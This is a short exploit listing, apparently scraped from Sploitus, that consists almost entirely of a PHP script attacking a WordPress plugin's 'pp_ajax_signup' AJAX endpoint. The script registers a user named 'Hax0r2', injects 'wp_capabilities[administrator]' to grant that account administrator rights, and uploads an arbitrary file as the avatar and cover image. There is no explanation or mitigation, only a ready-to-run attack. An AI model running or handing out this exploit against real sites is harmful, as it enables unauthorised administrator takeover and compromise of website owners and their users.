Share
## https://sploitus.com/exploit?id=WPEX-ID:AFDCAFC6-6353-46D4-9767-C1017CBE3487
<?php
// Settings
$wp_url = $argv[1];
$file = $argv[2];
// Update Settings
$ch = curl_init();
$cFile = curl_file_create( realpath( $file ) );
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'reg_username' => 'Hax0r2',
'reg_email' => 'Hax0r2@Hax0r.com',
'reg_password' => 'password',
'reg_password_present' => 'true',
'reg_first_name' => 'Hax0r2',
'reg_last_name' => 'hack',
'wp_capabilities[administrator]' => '1',
'action' => 'pp_ajax_signup',
'melange_id' => '',
'reg_avatar' => $cFile,
'reg_cover_image' => $cFile,
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>